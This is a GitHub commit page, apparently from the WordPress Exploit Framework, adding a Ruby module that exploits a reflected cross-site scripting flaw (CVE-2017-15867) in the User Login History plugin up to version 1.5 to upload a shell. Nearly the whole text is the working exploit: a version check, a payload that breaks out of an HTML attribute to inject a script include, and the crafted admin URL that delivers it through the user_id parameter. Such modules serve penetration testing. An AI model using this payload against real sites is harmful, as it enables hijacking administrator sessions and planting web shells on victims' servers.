Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 76634b2

Browse files
committed
Add User Login History <= 1.5 reflected XSS shell upload
1 parent 902a91b commit 76634b2

File tree

1 file changed

+35
-0
lines changed

1 file changed

+35
-0
lines changed
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::UserLoginHistoryReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'User Login History <= 1.5 Reflected XSS Shell Upload',
11+
author: [
12+
'rastating' # WPXF module
13+
],
14+
references: [
15+
['CVE', '2017-15867'],
16+
['WPVDB', '8939']
17+
],
18+
date: 'Oct 26 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('user-login-history', '1.5.1')
24+
end
25+
26+
def xss_payload
27+
url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><input value=\"")
28+
end
29+
30+
def url_with_xss
31+
"#{wordpress_url_admin_options}?page=fa_user_login_history_listing"\
32+
"&date_from&date_to&date_type=login&user_id=#{xss_payload}&country_name"\
33+
'&country_code&browser&ip_address&role&ulh_filter_form_submit=Filter'
34+
end
35+
end

0 commit comments

Comments
 (0)